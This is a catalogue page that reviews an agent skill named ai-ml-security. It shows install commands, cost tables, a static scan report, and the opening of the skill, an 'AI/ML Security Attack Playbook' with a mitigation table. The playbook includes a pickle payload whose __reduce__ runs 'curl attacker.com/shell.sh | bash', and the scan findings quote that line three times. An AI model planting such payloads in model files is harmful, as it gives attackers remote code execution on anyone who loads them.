Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ainpx agentmods add skills/securitytalent/bugskill-ai/ai-ml-securityWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/ai-ml-security)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/ai-ml-security"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/ai-ml-security/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/ai-ml-security"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/ai-ml-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00053 | $0.03877 |
| Opus 5.5 | $0.00021 | $0.01551 |
| Sonnet 5.5 | $0.00011 | $0.00775 |
| Haiku 4.5 | $0.00005 | $0.00388 |
Grade B, and why
ai-ml-security scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
return (os.system, ('curl attacker.com/shell.sh | bash',)) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
return (os.system, ('curl attacker.com/shell.sh | bash',)) Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ('curl attacker.com/shell.sh | bash',)) This is a copy
100% identical to ai-ml-security — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 426 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: AI/ML Security — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert AI/ML security techniques. Covers model supply chain attacks (malicious serialization, Hugging Face model poisoning), adversarial examples (FGSM, PGD, C&W, physical-world), training data poisoning, model extraction, data privacy attacks (membership inference, model inversion, gradient leakage), LLM-specific threats, and autonomous agent security. Base models underestimate the severity of pickle deserialization RCE and the practicality of black-box model extraction.
0. RELATED ROUTING
- llm-prompt-injection for LLM-specific prompt injection, jailbreaking, and tool abuse techniques
- deserialization-insecure for deeper coverage of Python pickle and general deserialization attack patterns
- dependency-confusion when the ML pipeline has supply chain risks via pip/npm package confusion
1. MODEL SUPPLY CHAIN ATTACKS
1.1 Malicious Model Files — Pickle RCE
Python's pickle module executes arbitrary code during deserialization. PyTorch .pt/.pth files use pickle by default.
import pickle
import os
class MaliciousModel:
def __reduce__(self):
return (os.system, ('curl attacker.com/shell.sh | bash',))
with open('model.pt', 'wb') as f:
pickle.dump(MaliciousModel(), f)
Loading torch.load('model.pt') executes the embedded command. Applies to:
| Format | Risk | Mitigation |
|---|---|---|
.pt / .pth (PyTorch) |
Critical — pickle by default | Use torch.load(..., weights_only=True) (PyTorch ≥ 2.0) |
.pkl / .pickle |
Critical — raw pickle | Never load untrusted pickles |
.joblib |
High — uses pickle internally | Verify provenance |
.npy / .npz (NumPy) |
Medium — allow_pickle=True enables RCE |
Use allow_pickle=False |
.safetensors |
Safe — tensor-only format, no code execution | Preferred format |
.onnx |
Safe — graph definition only, no arbitrary code | Preferred for inference |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 426 lines · 53 tokens per session scan B c0182081a9e5
ai-ml-security is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 53 tokens to every session and 3,877 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it B with 3 findings (downloads and executes remote code, makes network calls, runs shell commands). It is 100% identical to ai-ml-security, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
rag-evaluator
Generates tailored giskard.checks evaluation suites for RAG (Retrieval-Augmented Generation) systems. Use whenever a user describes a Q&A bot grounded in documents, a knowledge-base chatbot, a retrieval system, or wants to evaluate answer groundedness, faithfulness, hallucination, retrieval quality, citation accuracy…
third-party-to-giskard
Convert existing result files from third-party LLM red-teaming and evaluation tools (garak, promptfoo, DeepTeam, PyRIT) into Giskard OSS SuiteResults, one suite per tool, and optionally upload them to Giskard Hub as evaluations. Use this whenever the user has a garak report.jsonl, a promptfoo eval or redteam output, a…
prompt-enhancer
Refines vague, unstructured user prompts into clear, constraint-driven prompts with explicit formats and rules.
lovable-prompt-builder
A companion skill to the HACD Incubator AI Issuance Skill. Where the root SKILL.md turns a project idea into an 8-document issuance package, this skill turns the same idea into an executive-grade Lovable build prompt — a single, copy-paste prompt a builder pastes into Lovable (or hands to Claude) to ship a working…
机器学习模型训练
A guide to the machine-learning model workflow, from preparing data and tuning settings to evaluating and deploying models.
data-pipeline
Guidance for designing, building, deploying, and maintaining data pipelines, which move and transform data between sources and destinations. It covers both real-time and batch processing, quality checks, and monitoring alerts.